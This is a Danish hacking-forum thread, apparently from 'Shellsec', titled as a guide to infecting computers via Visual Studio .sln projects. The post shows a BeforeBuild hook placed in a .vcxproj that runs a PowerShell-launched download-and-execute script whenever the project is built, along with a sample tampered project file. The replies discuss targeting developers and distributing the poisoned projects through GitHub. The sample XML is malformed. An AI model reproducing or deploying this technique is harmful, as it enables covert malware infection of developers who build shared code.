Shellsec

Fuld version: Infikcer computere via .sln
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
.sln are project-fil fra Visual studio og ved at tilføje en simple kan man starte en executeable fil når man starter projektet da når Visual studio starter læser den fra resourcen .vcxproj
Jeg så her i går et post med et javascript som downloader og executer og tænkte at det enligt var lettere at includere men det er op til personen som tager dette i brug.

// Du kan jo starte alt fra powershell.
<Target Name="BeforeBuild">
    <Exec Command="powershell .\download.js" />
</Target


Du putter oven stående kode ind i .vcxproj for sln projectet og gemmer og så når sln-filen starter køres filen.

Her er et eksempel a en redigeret .vcxproj:
<?xml version="1.0" encoding="utf-8"?>
<Target Name="BeforeBuild">
<Exec Command="powershell .\download.js" />
</Target
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{---snippet---}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{---snippet---}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{---snippet---}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="---snippet---">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="---snippet---">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Katelyn.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<Image Include="---snippet---">
<Filter>Resource Files</Filter>
</Image>
</ItemGroup>
</Project>
Damn nice. Vidste faktisk ikke man kunne launch noget før man builede sin solution.
Faktisk rimeligt nice, ville ikke være alt for svært at få en del til at hente. Og målene er nogle som selv er devs/prøver at være.
Det kan man vel bruge github til.